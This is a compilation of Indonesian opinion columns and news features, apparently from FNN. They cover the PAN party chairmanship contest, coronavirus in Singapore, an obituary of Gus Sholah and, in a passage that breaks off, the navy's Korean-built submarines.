By Luqman Ibrahim Soemay Jakarta, FNN – Allaah SWT berfirman dalam surat Ar-Rahman ayat 13 “fabi ayyi alaa irobbikumaa tukazzibaan”. Artinya, maka nikmat Tuhan kamu yang mana lagi yang kamu dustakan? Surat Ibrahim ayat 7 Allaah juga berfirman “lain syakartum laaziidannakum walain kafartum inna adzaa bii lasyadiidun”. Artinya, sesungguhnya jika kamu bersyukur, niscaya Allaah SWT akan menambah nikmat-Nya kepadamu. Namun jika kamu ingkar kepada nikmat-Ku, maka ingatlah bahwa azabku amat berat. Kedua ayat ini, hanya bagian kecil dari banyaknya perintah Al-Qur’an tentang dua hal mendasar. Pertama, Allaah SWT menyuruh manusia untuk bersyukur dan bersykur atas segala nikmat dan karunia yang telah Allaah SWT berikan. Kedua, Allaah SWT mengingatkan manusia tentang bahaya yang akan dihadapi bila kufur dan ingkar kepada nikmat dan karunia Allaah SWT. Satu diantara anak bangsa dan hamba Allaah yang paling lengkap diberikan nikmat dan karunia Allaah SWT itu adalah Zulkifli Hasan. Biasa disebut dengan Zulhas. Dia satu diantara jutaan kader Partai amanat Nasional (PAN) yang dipercaya menjadi Ketua Umum periode 2014-2019. Sejak kelahirannya 21 tahun silam, tapatnya 23 Agustus 1998, PAN baru mempunyai empat Ketua Umum. Muhammad Amin Rais adalah pendiri sekaligus Ketua Umum PAN yang pertama. Selanjutnya Sutrisno Bachir yang menjadi Ketua Umum PAN yang kedua. Setelah itu, Hatta Rajasa menjabat Ketua Umum PAN yang ketiga. Sekarang Zulkifli Hasan yang menjadi Ketua Umum PAN ke empat. Rencananya hari ini Selasa 11 Februari 2020, Kongres PAN kelima dimulai di Kota Kendari, Sulawesi Tenggara. Kongres ini untuk mengevaluasi kinerja kepengurusan periode PAN 2014-2019 di bawah komando Zulkifli Hasan. Agenda lainnya adalah memilih Ketua Umum PAN periode berikutnya. Karier Politik Zulhas Zulkifli Hasan pertama kali menjadi anggota DPR periode 2004-2009 dari Daerah Pemilihan Lampung. Dia memulai karier di PAN sebagai Ketua Departemen Logistik DPP PAN periode 2000-2005. Jabatan inilah yang kemudian mengantarkan Zulhas menjadi Wakil Ketua Fraksi PAN DPR. Setelah Soetrisno Bachir terpilih sebagai Ketua Umum PAN periode 2005-2010, Zulhas dipercaya menduduki jabatan Sekretaris Jendral. Selain sebagai Sekretaris Jendral DPP PAN, pada periode yang sama, Zulhas juga merangkap Ketua Fraksi PAN di DPR. Setelah SBY kembali terpilih sebagai Presiden periode kedua 2009-2014, Zulhas dipercaya SBY menjadi Menteri Kehutanan menggantikan MS Ka’ban. Tahun 2014 Zulhas terpilih sebagai Ketua MPR ke-15. Ketika itu paket yang mengusung Zulhas sebagai Ketua MPR, dengan Wakil Ketua Mahyudin, EE Mangindaan, Hidayat Nur Wahid dan Ahmad Muzani berhasil mengalahkan paket lawan yang mengusung Oesman Sapta Odang Ketua MPR. Singkat cerita, mungkin Zulhas adalah satu-satunya kader PAN dengan jabatan paling lengkap di partai. Dimulai dengan menjadi anggota DPR. Selanjutanya menjadi Wakil Ketua Fraksi dan Ketua Fraksi PAN DPR. Setelah itu menjadi orang kedua di PAN dengan jabatan Sekretaris Jendral, yang ikut mengatarkan Zulhas ke posisi puncak sebagai Ketua Umum PAN ke-4, periode 2014-2019. Jabatan Zulhas sebagai pejabat negara adalah Menteri Kehutanan perode 2009-2014 dan Ketua MPR 2014-2019. Jabatan yang sangat lengkap dan sempurna. Berbagai posisi penting ini, telah menempatkan Zulhas sebagai kader langka di PAN. Maka, nikmat Tuhan kamu yang mana lagi yang kamu dustakan? Tradisi Satu Periode Sejak kalahirannya 23 Agustus 1998, PAN telah mempunyai empat ketua Umum, yaitu Amin Rais, Sutrisno Bachir, Hatta Rajasa dan Zulkifli Hasan. Semua menjabat Ketua Umum PAN hanya dijabat satu periode. Tidak ada yang sempat menjabat dua periode. Pada Kongres ke-4 tahun 2014, memang Hatta Rajasa mencoba untuk kembali maju sebagai Ketua Umum, namun dalam pemilihan, langkah dan ambisi dua priode Hatta Rajasa dipatahkan oleh Zulhas. Sedangkan Amin Rais dan Sutrisno Bachir, setelah selesai menjabat, memberikan kesempatan kepada kader lain untuk menjadi Ketua Umum PAN. Sikap dan langkah politik Amin Rais dan Sutrisno Bachir adalah keputusan politik yang pantas untuk diteladani dan dibanggakan oleh kaden-kader PAN pada umumnya. Jarang, bahkan mungkin juga menjadi barang langka untuk menemukan kembali pimpinan partai politik yang punya keasadaran tingkat dewa seperti Amin Rais dan Sutrino Bachir. Padahal peluang Amin Rais terpilih kembali untuk periode sangat terbuka lebar. Tahun 2005 itu, hampir-hampir dapat dipastikan belum ada kader PAN bisa menandingi popularitas dan kehebatan Amin Rais. Namun begitulah Amin Rais. Jabatan bukan segala-galanya. Dengan kebesaran jiwannya, Amin Rais mewariskan monumen paling mahal dan berharga kepada kader PAN bahwa merebut Ketua Umum PAN itu penting. Namun yang lebih penting lagi tidak berupaya mempertahankan jabatan Ketua Umum lebih dari satu periode. Sikap Amin Rais ini mahal dan berkelas. Beginilah karakter politisi yang tau diri. Tau mewariskan mahkota dalam berpolitik. Karena sebagai partai politik yang lahir sebagai anak kandung reformasi, sikap Amis Rais itu sebagai antitesa kepada kekuasaan Orde Baru yang berupaya dengan segala cara untuk mempertahankan kekuasaan lebih dari 32 tahun. Menjadi sangat aneh bin ajaib, bila tiba-tiba Zulhas yang menjadi kader paling sempurna dan paripurna di PAN itu berusaha untuk kembali menjabat Ketua Umum PAN dua periode. Maka nikmat Tuhan kamu yang mana lagi yang kamu dustakan wahai? Apakah semua jabatan di partai dan pemerintahan tersebut belum cukup untuk disyukuri Zulhas? Lalu, moral politik seperti apa yang menjadi kebanggaan anda, yang hendak diwariskan kepada anak-anak muda bangsa ini, terutama kader-kader PAN? Apakah Zulhas ingin mensejajarkan PAN dengan sejumlah partai politik pecahan Golkar? Dimana Ketua Umum partai-partai itu, terkesan ingin mempertahankan posisi Ketua Umum sampai ajal menjemput mereka. Rasanya kurang pantas mensejajarkan PAN, PKB dan PKS sebagai anak kandung reformasi dengan sejumlah partai politik pecahan Golkar tersebut. Zulhas, kabarnya Amin Amin sebagai guru politik anda, besan anda, bapak kandung dari menantu anda Ahmad Mumtaz Rais, dan bapak mertua dari anak kandung anda Futri Zulya Savitri telah telah menasehati anda agar tidak lagi mencalonkan diri sebagai Ketua Umum PAN periode 2020-2025. Nasehat dan teladan Amin rais itu, tidak hanya pantas dihargai oleh anda Zulhas sebagai kader PAN, tetapi harus dipraktekan oleh anak-anak bangsa yang lahir dari produk reformasi. Begitulah cara pemimpin mewariskan keteladanan dalam berpolitik. Bukan yang penting menjabat. Toh, presntasi anda sebagai Ketua Umum PAN juga biasa-biasa saja. Malah di bawah standar. Kalau tidak mau dibilang jeblok. Faktanya, PAN yang pada pemilu 2014 meraih 49 kursi DPR, namun pada pemilu 2019 lalu terjun bebas. Tinggal hanya 44 kursi saja. Dan yang lebih menyakitkan lagi, 8 kursi DPR periode 2014-2019 dari Dapil Provinsi Jawa Tengah hilang dari senayan tanpa bekas. Dapil Provinsi Jawa Tengah tidak meninggalkan setengah kursipun. Ini benar-benar tragis Zulhas dan menyakitkan. “Fabi ayyi alaa irobbikumaa tukazzibaan”. Semoga saja bermanfaat. Toh, belom terlambat untuk bersikap demi tradisi politik yang bermartabat Zulhas. Penulis adalah Wartawan Yunior.

Zulhas Sudahlah, Tidak Ada Prestasi Yang Dibanggakan!

Atas dasar moral seperti apa kepemimpinan yang gagal masih mau memberanikan diri kembali maju sebagai ketua Umum PAN? Jabatan menteri sudah didapat. Posisi sebagai Ketua MPR dan Ketua Umum Partai seolah tak cukup untuk Zulkifli Hasan. Padahal pada setiap jabatan yang diemban, tidak terlihat prestasi yang membanggakan. By Enggal Pamukti Jakarta, FNN - Membaca pergerakan perpolitikan Indonesia, tidak bisa juga dilepaskan dari peran Partai Amanat Nasional (PAN), yang lahir pada masa reformasi. PAN selalu eksis pada setiap Pemilu yg berlangsung. Tidak pernah menjadi pemenang tetapi tidak pernah juga turun drastis. Baru pada Pemilu 2019 lalu, dimana saudara Zulkifli Hasan menjadi Ketua Umum, PAN terjun bebas. Terjadi penurunan prosentase perolehan suara PAN dari 7,59% pada Pemilu 2014, menjadi hanya 6,84% pada tahun 2019. Perolehan suara ini bukanlah preseden yang baik bagi sejarah pileg yang diikuti oleh PAN sebagai partai dilahirkan dari produk reformasi. Targisnya lagi, ketika suara perolahan PAN tersebut dikonversi menjadi kursi DPR, PAN kehilangan 5 kursi atau 10% lebih. Pada Pemilu 2014 sebelumnya , PAN mendapatkan 49 kursi. Sekarang PAN hanya mendapatkan 44 kursi DPR RI. Dengan perolehan seperti ini, PAN turun peringkat dari ranking 6 di tahun 2014, jatuh ke peringkat 8 pada tahun 2019. Tragis sekali. Yang paling tragis terjadi di seluruh Dapil Jawa Tengah. Dari sebelumnya PAN mendapatkan 8 kursi iDPR RI di Provinsi Jawa Tengah, pada Pemilu 2019 kermarin, PAN tak berhasil mengirimkan satu kursi pun Senayan. Dari seluruh perhitungan perolehan suara yang ditambahkan dari pemilih baru pada tahun 2019, PAN dinilai gagal medapatkan dukungan suara kaum milanial. Seorang elit Partai Matahari menilai kegagalan PAN mempertahankan atau menambah suara sebagai akibat PAN terlalu konsentrasi pada Pilpres. Kebetulan harus melawan petahana, dan mengalami kekalahan. Alasan ini tidak bisa diterima, jika melihat partai-partai pendukung Prabowo Subianto yang melawan Joko Widodo justru mengalami kenaikan suara seperti Gerindra dan PKS. Sebuah analisa menarik di meja Warung Kopi yang menyatakan bahwa kegagalan PAN akibat dari persoalan leadership yang lemah pada era kepemimpinan perode 2015-2020. Kelemahan inilah yang harus ditanggapi secara serius. Kawan yang memang salah seorang pendiri PAN tersebut menganggap sikap plin-plan partai menjadi penyebab kekalahan PAN pada Pileg 2019. Partai yang pada Pemilu tahun 2014 menjadi oposisi pemerintahan, lalu tiba-tiba terbeli, masuk koalisi pemerintahan Joko Widodo. Namun di akhir tahun 2018 menyatakan bercerai hanya untuk kembali melawan Joko Widodo di Pilpres 2019. Sikap plin-plan, culas, dan tidak loyal adalah kesan dari kronologi perpindahan dukungan yang terlalu frontal tersebut. Akibat inkonsistensi sikap PAN seperti itulah, baik di media sosial maupun pergerakan darat PAN tidak mendapatkan banyak dukungan. Kebijakan pengurus partai yang tampak tida berintegritas seperti itu tentu berpengaruh pada psikologi pemilih yang terbelah secara ekstrim pada pemilu tahun 2019 kemarin. Pemilih menyukai Partai yang tegas dan istiqomah dalam bersikap. Kalau boleh disimpulkan, kepemimpinan yang lemah dan kurang mampu membaca arah dan pilihan politik dari konstituen menjadi titik sentral terlemah Ketua Umum Zulkikfli Hasan. Akumulasi kelemahan ini merupakan satu kesatuan dalam mendefinisikan kegagalan PAN periode 2015-2019. Lalu atas dasar moral seperti apa kepemimpinan yang gagal masih mau memberanikan diri kembali maju sebagai ketua Umum PAN? Jabatan menteri sudah didapat. Posisi sebagai Ketua MPR dan Ketua Umum Partai seolah tak cukup untuk Zulkifli Hasan. Padahal pada setiap jabatan yang diemban, tidak terlihat prestasi yang membanggakan. Yang tersisa sekarang hanya residu kekuasaan.. Residu itulah berupa pemanggilan-pemanggilan dari penegak hukum yang sedang mencoba menggali kaitan pidana pada kekuasaan dia di masa lalu. Untuk itu, PAN haris terbebas dari beban-beban psikoligis yang kemungkinan terkait masalah pidana. Cermat menilai, cerdas memutuskan dan tepat memilih pimpinan. Itu yang harus dilakukan kader-kader dan pengurus PAN dalam memilih Pengurus Pusat agar PAN kembali bersinar seperti Matahari. Kalau saja tidak, maka PAN akan tenggelam di ufuk timur tempat Kongres berlangsung. Selamat berkongres kepada seluruh Kader Pan yang pada hari ini mulai berdatangan di Kota Kendari. Semoga menghasilkan pemimpin baru yang amanah. Penulis adalah Peneliti di Don Adam Sharing Academy

Virus Corona, Singapura dan Indonesia

By. Dr. Syahganda Nainggolan Jakarta, FNN - Orchard Road, Kampung Bugis, dan Little India merupakan kenangan indah bagi puluhan juta pelancong Indonesia yang pernah menikmati tamasya ke Singapura. Para penjudi kita lebih mengenang lagi Casino di Sentosa Island. Bahkan, konon ada seorang mantan pimpinan Dewan Perwakilan Daerah (DPD-RI) masih menyimpan uangnya Rp. 600 Milyar di Kasino itu. Bagi pengusaha Indonesia, Singapura sudah menjadi rumah kedua. Ada yang memanfaatkan Singapura sebagai "international hub" bagi ekspansi bisnis mereka. Tapi ada juga seperti bisnis keluarga Erick Tohir, menteri BUMN RI, yang diberitakan berbagai media tahun lalu, melakukan potensi kejahatan, di mana perusahaan mereka diberitakan memindahkan pajak sebesar U$ 125 juta dollar, yang setara dengan 1.710.125. 000.000 rupiah. Atau ada juga tuduhan mafia migas Indonesia yang dianggap bermarkas di Singapore.Tidak adanya perjanjian ekstradisi kriminal anatar Indonesia - Singapura, dianggap menjadikan Singapura tempat perlindungan terdekat penjahat kerah putih Indonesia. Sebelum Tax Amnesty, diberitakan sekitar 4.000 triliun uang segelintir orang Indonesia diparkir di sana. Hari ini Perdana Menteri Singapura, Lee Hsien Loong, telah berpidato di televisi dan media lainnya terkait penyebaran virus corona yang semakin mencekam di Singapura. Pemerintah menaikkan level bahaya ke warna orange. Lee sedang merespon kepanikan masyarakat "city state" yang berpenduduk 5,5 juta jiwa tersebut. Sebab penduduk sudah ketakutan dan berlomba-lomba membeli stok makanan. "Kita yakin bahwa bersama-sama, kita boleh melewatkannnya", kata Lee dalam bahasa Melayu. Perdana Menteri Lee mengingatkan mereka dahulu juga Singapura pernah mengatasi serangan virus SARS dengan sukses. Kejadian panik warga Singapura dan respon Lee tentu menjadi tanda keguncangan besar negara tetangga ini. Sudah 40 kasus virus korona sejauh ini, termasuk seorang Tenaga Kerja Wanita (TKW) Indonesia. Kepanikan ini beralasan, karena sudah terjadi penyebaran virus corona di Singapura diantara mereka. Bukan lagi disebabkan oleh pendatang dari RRC. Seperti TKW Indonesia itu, tidak pernah ke RRC. Padahal turis atau pelancong dari RRC adalah yang terbanyak datang ke Singapura. Sumber di mana "outbreaks" virus corona. Sebab lain adalah Singapura adalah negara kota. Tidak punya tempat lain untuk menjauh atau melarikan diri. Dalam situasi peradaban digital dan online seperti sekarang, informasi sudah menyebar cepat. Informasi yang kadangkala melampaui fakta. Meski pemerintah Singapura berpikir bisa menenangkan rakyatnya, bisa jadi rakyat mereka lebih panik lagi. Terakhir, pemerintah Singapura takut dengan "rush money", meskipun berita "rush money" ini belum berkembang besar. Lalu apa kaitannya dengan Indonesia? Pertama, Indonesia harus mulai mempertimbangkan berita riset Harvard University yang menilai Indonesia seharusnya sudah ada kasus virus corona ini. Alasannya, volume interaksi warga Wuhan, Hubei di kawasan ini. Kasus interaksi warga Malaysia dan Inggris yang positif terkena virus corona dengan warga China di Singapura telah menjadi berita. Dalam situs aseanbriefing. com, "The Coronavirus in Asia and ASEAN – Live Updates by Country", Indonesia masih diberitakan tanpa kasus terjangkit virus corona ini, bersama Myanmar. Namun, semua negara asean lainnya sudah mengakui ada kasus. Kedua, Indonesia harus mulai mencemaskan interaksi warga kita dengan warga Singapura. Interaksi warga Indonesia dan Singapura begitu tinggi, mencapai 17.000 jiwa pelancong perhari, ini merujuk pada pernyataan Dirjen Pengendalian dan Pencegahan Penyakit Menular, Kemenkes Indonesia. Saat ini pemerintah Singapura telah menaikkan tanda orange pada wabah corona. Artinya apa? Artinya kita juga sudah harus mulai membatasi interaksi dengan warga Singapura. Ketiga, Indonesia harus mempertimbangkan kerjasama baru dengan Singapura. Apakah itu? Indonesia bisa menyediakan wilayah atau pulau khusus bagi warga Singapura untuk meghindar dari kecemasan dan kepanikan selama isu virus ini ada. Mereka dapat menjadi penghuni sementara. Singapura memberi bantuan kerjasama riset bidang kesehatan dengan Indonesia, khususnya menangani wabah virus corona ini. Konpensasinya, Singapura harus menutup semua fasilitas kemudahan bagi uang orang-orang Indonesia, baik yang sudah deklarasi, maupun uang haram yang mencapai ribuan triliun. Penutup Penyebaran virus Corona di Singapura sudah membuat kepanikan warga mereka. Sebagai masyarakat kaya raya dan cerdas, kepanikan mereka mempunyai alasan yang kuat. Meski pemerintah Singapura mengatakan tidak perlu panik, faktanya kepanikan terjadi, mereka mulai menyiapkan stok pangan. Singapura adalah tetangga dekat kita. Sebuah negara kota, yang warganya tidak mampu lari jika wabah virus melanda semakin besar. Namun di Singapura juga jutaan masyarakat Indonesia melakukan interaksi setiap tahunnya. Sebagai negara tetangga, sebaiknya kita harus memberikan peluang agar Singapura memanfaatkan wilayah Indonesia yang luas sebagai tempat mereka bermukim sementara, jika diperlukan. Tentu di desain sejak awal. Seperti pulau2-pulau di sepenjang laut Sumatera. Namun, Singapura sebagai tempat bersembunyinya ribuan triliun uang-uang haram orang Indonesia. Baik mereka yang sudah dideklarasi dalam tax amnesty maupun belum. Singapura juga menjadi tempat berkuasanya mafia-mafia bisnis seperti mafia minyak. Para mafia ini harus menjadi objek perundingan yang mungkin dapat dibicarakan dengan mereka. Dengan menyediakan pulau khusus untuk Singapura, juga sekaligus mengingatkan mereka bahwa tetangga yang baik harus mampu menunjukkan semangat kebersamaan dan kemajuan bersama. Termasuk mengajarkan kita tentang bahaya virus corona. Penulis adalah Direktur Eksekutif Sabang Merauke Institute

Obituari Gus Sholah (2): Keputusan Kontroversi Terima Pinangan Wiranto

Oleh Mochamad Toha Jakarta, FNN - Bahwa KH Salahuddin Wahid yang akrab dipanggil Gus Sholah pernah menjadi Calon Wakil Presiden berpasangan dengan Calon Presiden Wiranto dari Partai Golkar adalah fakta politik. Itulah fakta politik pada gelaran Pilpres 2004. Fakta politik menujukkan bahwa Gus Sholah maju menjadi cawapres itu atas dukungan PKB, partai yang kelahirannya dibidani KH Abdurrahman Wahid alias Gus Dur, kakak Gus Sholah sendiri. Itulah fakta politik diantara Dua Gus ini. Namun, ijtihad politik Gus Sholah tersebut seakan mengikis habis sisi kontroversial dirinya dengan Gus Dur, tapi justru masuk ke wilayah kontroversi yang lain. Pasalnya, Gus Sholah menerima pinangan capres partai Golkar Wiranto. Keputusan itu menjadi antiklimaks kariernya di Komnas HAM. Betapa tidak, Wakil Ketua II Komnas HAM ini harus berpasangan dengan orang yang dianggap bertanggungjawab atas sejumlah pelanggaran HAM di Indonesia. Sementara Komnas HAM yang digawangi Gus Sholah harus bergiat mengungkap kasus pelanggaran HAM dan beberapa kali bergesekan dengan Wiranto. Deklarasi pasangan Wiranto-Gus Sholah ini dilakukan di Gedung Bidakara, Jakarta, Selasa (11/05/2004) malam. Ini merupakan babak baru dari perjalanan karier politiknya. Namun, pasangan dengan latar belakang bertentangan itu harus kalah pada pertama. Namun, kekalahan di Pilpres 2004 tak membuat Gus Sholah patah arang. Itu ditunjukkan dengan aktivitasnya dalam beragam kegiatan sosial keagamaan. Pada Februari 2006, KH. Yusuf Hasyim menelpon pria dengan nama kecil Salahuddin al-Ayyubi ini. Dalam hubungan telpon tersebut disampaikan niatnya mundur sebagai pengasuh Tebuireng yang dipegangnya selama 41 tahun. Selain itu, meminta Gus Sholah untuk menggantikannya. Pada 12 April 2006, Gus Sholah bertemu dengan pamannya yang akrab dipanggil Pak Ud itu dan keluarga besar Tebuireng serta para alumni senior. Pertemuan itu untuk mematangkan rencana pengunduran diri Pak Ud itu dan naiknya Gus Sholah sebagai pengasuh Tebuireng. Keesokan harinya, pergantian pengasuh diresmikan bersamaan dengan acara Tahlil Akbar Hadratus Syekh KH. Hasyim Asy’ari dan Temu Alumni Nasional Pondok Pesantren Tebuireng di halaman ponpes. Langkah pertama yang diambil Gus Sholah dalam memimpin Tebuireng, adalah melakukan ”diagnosa” atau mendeteksi ”penyakit” yang sedang menimpa Tebuireng. Sejak April hingga akhir 2007, Gus Sholah secara berkala mengadakan rapat bersama unit-unit yang ada di bawah naungan Yayasan Hasyim Asy’ari ini. Dia meminta laporan tentang kendala yang dihadapi, disamping meminta masukan dan kritik. Selain itu, Gus Sholah menurunkan ”mata-mata” yang turun langsung ke kamar para santri untuk mengkonfirmasi kinerja pengurus ponpes. Selama memimpin Tebuireng, Gus Sholah berupaya menggugah kesadaran para guru, pembina santri, dan karyawan Tebuireng untuk memperbaiki diri dan meningkatkan kinerja berdasar keikhlasan dan kerjasama. Langkah kongkritnya mengadakan pelatihan terhadap para guru dengan mengundang konsultan pendidikan dari Konsorsium Pendidikan Islam (KPI), yang juga membantu para kepala sekolah untuk menyusun SOP (Standard Operating Procedure) bagi kegiatan belajar mengajar (KBM) ponpes. Mulai awal 2007, Ponpes Tebuireng menerapkan sistem full day school di semua unit pendidikan. Para pembina dibekali dengan latihan khusus, baik latihan kedisiplinan dan psikologi agar dapat menjalankan tugas dengan baik. Rencananya, seorang pustakawan akan didatangkan guna mengelola perpustakaan secara sistematis dan terarah. Pada saat yang sama, Madrasah Mu’allimin dan Ma’had Aly didirikan, serta kegiatan pengajian dilakukan secara klasikal melalui Madrasah Diniyah dan kelas Takhassus. Sejak awal kepemimpinannya, Gus Sholah berupaya memperbaiki sarana fisik secara bertahap. Klinik kesehatan dibangun di dekat kompleks SMA, masjid diperluas dan ditingkatkan mutunya dengan tetap mempertahankan bangunan lama, ruang makan diperbaiki, dan gedung-gedung tua direnovasi. Seluruh proses pembangunan fisik ini selesai pada 2014. Selain memimpim Tebuireng, aktivitas Gus Sholah di berbagai kegiatan sosial tetap padat. Dia menjadi anggota Forum Pemantauan Pemberantasan Korupsi (2004), Barisan Rakyat Sejahtera (Barasetra), Forum Indonesia Satu (FIS), Kajian Masalah Kepahlawanan yang dibentuk oleh IKPNI (Ikatan Keluarga Pahlawan Nasional Indonesia), dan lain-lain. Gelaran Pemilu Sebagai seorang wartawan, saya beberapa kali melakukan wawancara khusus terkait Pilpres 2014 dan Pilkada Jatim 2018. Dua kontestasi gelaran pemilu yang berbeda. Namun, cukup menarik untuk disinggung dalam tulisan ini. Ketika Pilpres 2014, seusai wawancara seputar Capres Joko Widodo dan Capres Prabowo Subianto, tiba-tiba Gus Sholah menyinggung perihal Mobil ESEMKA yang selalu digadang-gadang Jokowi sebagai karya “anak bangsa”. “Coba cek, saya dengar mobil itu bukan buatan Esemka. Ini sudah ramai di media,” katanya kala itu. Padahal, saat itu Gus Sholah disebut-sebut sebagai pendukung Jokowi. Namun, dia masih meminta saya untuk mencari tahu soal Esemka. Hasilnya, ternyata benar ucapan Gus Sholah tadi perihal “keaslian” Esemka. Pelajaran yang bisa kita petik dari sini, Gus Sholah ingin seorang pemimpin itu berkata jujur, ia tidak boleh berbohong. Dan, faktanya, silakan menilai sendiri! Saat Pilkada Jatim 2018, Gus Sholah menjadi “Ketua Tim 17 Ulama” yang bertugas mencari figur bacawagub yang layak dan tepat untuk dipasangkan dengan Khofifah Indar Parawansa sebagai bacagub yang diusung Partai Golkar bersama beberapa parpol lainnya. Kala itu, ada beberapa nama yang disodorkan sebagai bacawagub Khofifah, seperti Bupati Trenggalek Emil Elestianto Dardak, Hasan Aminuddin (NasDem), Masfuk (PAN), Wakil Bupati Ngawi Ony Anwar Harsono, dan Saiful Rachman (Birokrat). Siapakah yang akan dipilih Tim 17 Ulama dan Khofifah nanti, kata Gus Sholah, bisa terlihat pada pertengahan November 2017. “Dalam dua minggu ke depan, tim akan melakukan surve atas nama-nama yang masuk,” ungkap Gus Sholah. Kamis malam, 19 Oktober 2017, Tim 17 Ulama sedang menggodok nama-nama bacawagub sebelum dipilih Khofifah. Setidaknya ada 8 nama yang masuk ke Tim 17 Ulama. Akhirnya, pilihan jatuh kepada Emil Elestianto Dardak. Padahal, sebelumnya, Emil disebut-sebut Gus Sholah supaya menyelesaikan dulu tugasnya sebagai Bupati Trenggalek. “Siapa yang mencalonkan Emil? Dia kan baru dua tahun menjabat Bupati Trenggalek, ya lebih baik selesaikan sajalah tugasnya sebagai bupati. Kecuali memang ada permintaan yang sangat mendesak dan elektabilitasnya tinggi,” tegasnya kala itu. Itulah politik! Bersama Khofifah, Emil pun akhirnya terpilih menjadi Gubernur dan Wagub Jatim. (Selesai) Penulis wartawan senior.

Kapal Selam Korsel (5): Kapal Selam DSME Belum Penuhi Aspek Sesuai Harapan TNI AL

Oleh Mochamad Toha Jakarta, FNN - Saat Menteri Pertahanan masih dijabat Ryamizard Ryacudu, ia mengungkapkan kekecewaan TNI AL terhadap kualitas kapal selam terbaru TNI AL, KRI Nagapasa-403 yang merupakan jenis kapal selam Changbogo buatan DSME (Daewoo Ship Building & Marine Engineering) Korea Selatan. Masalah yang diungkapkan adalah soal kapal selam yang kurang bertenaga, akibat baterai yang kurang mampu memasok daya total yang dibutuhkan. Karena spek kapal selam CBG yang dibeli Indonesia masih belum memiliki sistem canggih seperti AIP (Air Independent Propulsion) yang bisa membantu pengisian baterai, akhirnya kemampuan arung bawah air kapal selam asal Korsel ini juga jadi terbatas. Kurangnya daya bisa menyebabkan ketidakstabilan pada berbagai perangkat elektronik yang tertanam di kapal selam yang dibeli untuk TNI AL itu, yang kemudian juga dapat berdampak pada keandalannya. Kemhan juga menerima sejumlah kisah kendala lainnya, tapi untuk saat ini masih dirahasiakan. Pemerintah telah melayangkan protes ke pihak Korsel. “Sudah kita proses kemarin tapi lambat karena kapalnya besar tapi baterainya kecil. Itu yang pertama tapi saya sudah langsung ke pabrik, saya sama KSAL. Jadi, sudah tidak ada masalah lagi, tapi yang kedua, ketiga terus,” kata Ryamizard di Istana Kepresidenan, Jakarta, Kamis (26/10/2017). Ryamizard mengatakan, ada dua kapal selam lagi yang masih dalam tahap produksi. Dua Kapal selam terakhir diproduksi PT PAL yang diawasi langsung oleh perusahaan asal Korsel, DSME. Bila hasil kapal selam tersebut baik, Ryamizard menyampaikan tak menutup kemungkinan untuk memesan kembali ke Korsel. “Lihat dulu kalau bagus tambah lagi, tidak mahal. Yang mahal beli teknologi dan mendidik orang yang mahal,” ucap Ryamizard kala itu. Ketika itu, Indonesia memesan tiga unit kapal selam bermesin diesel elektrik tipe 209/1400 kelas Chang Bogo ke Korsel dengan kesepakatan kerja sama transfer teknologi. Kapal selam pertama dan kedua dibangun di perusahaan pembuatan kapal Korsel, DSME. Melansir dari Kumparan.com, Jum’at (27/10/2017), kapal selam ketiga dibangun di galangan kapal dalam negeri PT PAL Indonesia, Surabaya bekerja sama dengan DSME Korsel. TNI AL mendukung penuh realisasi kegiatan untuk proses pencapaian kemandirian industri pertahanan terutama kapal selam. Pembangunan tiga kapal selam 209 DSME yang menyertakan TOT (Transfer of Technology) sebagai bagian integral dari pembangunan 3 kapal itu, dengan dilaksanakannya pembangunan 2 kapal selam di galangan DSME dan joint section kapal selam lainnya dengan menggunakan fasilitas infrastruktur yang dibangun di PT PAL. Dalam pasal 3 Undang undang RI Nomor 16 Tahun 2012 tentang industri pertahanan, tertuang bahwa Penyelenggaraan Industri Pertahanan bertujuan: Mewujudkan Industri Pertahanan yang profesional, efektif, efisien, terintegrasi, dan inovatif; Mewujudkan kemandirian pemenuhan Alat Peralatan Pertahanan dan Keamanan; dan Meningkatkan kemampuan memproduksi Alat Peralatan Pertahanan dan Keamanan, jasa pemeliharaan yang akan digunakan dalam rangka membangun kekuatan pertahanan dan keamanan yang andal. Realisasi dari amanat UU tersebut telah berjalan dengan adanya pembangunan infrastruktur pembuatan Kapal Selam di PT. PAL. Saat ini PT. PAL sedang melaksanakan Joint Section kapal selam ke-3 dan akan melaksanakan overhaul KRI Cakra-401. Salah satu tahapan untuk menuju kemandirian industri pertahanan terutama kapal selam yang saat ini dilaksanakan oleh DSME kepada PT. PAL melalui Transfer of Technology. UU Nomor 20 Tahun 2005 tentang alih teknologi kekayaan intelektual serta hasil penelitian dan pengembangan oleh perguruan tinggi dan lembaga penelitian dan pengembangan telah dijelaskan soal TOT. TOT adalah pengalihan kemampuan memanfaatkan dan menguasai ilmu pengetahuan dan teknologi antar lembaga, badan atau orang, baik yang berada dalam lingkungan dalam negeri maupun yang berasal dari luar negeri ke dalam negeri atau sebaliknya. Untuk pencapaian alih teknologi ini diperlukan komitmen kuat dari kedua belah pihak baik pemberi maupun penerima dalam realisasinya di lapangan. Yang terjadi saat ini proses alih teknologi pada saat pembangunan 3 Kapal Selam 209 DSME adalah proses “Learning by Seeing”. Sedangkan untuk mencapai keberhasilan proses alih teknologi adalah adanya proses pembentukan Dynamic Learning (dinamika belajar) dengan cara belajar sambil bekerja (Learning by Doing), belajar sambil memakai (Learning by Using) dan belajar sambil saling berhubungan (Learning by Interacting). Terlebih dalam pembangunan Kapal Selam yang memerlukan tingkat safety yang tinggi, serta teknologi yang presisi. Di satu sisi TNI AL memerlukan jenis kapal selam yang memenuhi kriteria berkualitas dan handal. Sementara di sisi lain hal tersebut sulit diwujudkan dengan proses Transfer of Technology yang berlangsung saat ini, mau pun kualitas hasil produksi kapal selam 209 DSME yang belum memenuhi aspek yang diharapkan oleh TNI AL sebagai sebuah kapal selam. Tengok saja bagaimana kekuatan kapal selam di negara kawasan regional. Peta perimbangan negara-negara pengoperasi kapal selam di kawasan regional bisa digambarkan berikut: Australia. Memiliki enam unit kapal selam kelas Collins type 471 yang khusus dirancang oleh galangan Swedia Kockums untuk Angkatan Laut Australia. Empat unit diantaranya sudah di-upgrade dan selesai pada Maret 2003. Antara lain dengan penyempurnaan pada combat system. Collin class memlliki kapasitas persenjataan hingga 22 rudal jenis Harpoon dan torpedo 533 mm. Kapal selam ini memiliki kecepatan 20 kts (menyelam) dan mampu menyelam sampai kedalaman 300 m. Dalam program jangka panjang hingga tahun 2050, Australia telah menandatangani kontrak pembangunan 12 kapal selam baru yang akan dibangun oleh perusahaan Perancis Naval Group di Australia. Kapal selam baru tersebut diproyeksikan untuk menggantikan kapal selam kelas Collins yang sudah akan memasuki masa pensiun. Dari beberapa media menyatakan, kapal selam yang tipe shortfinbarracuda tersebut 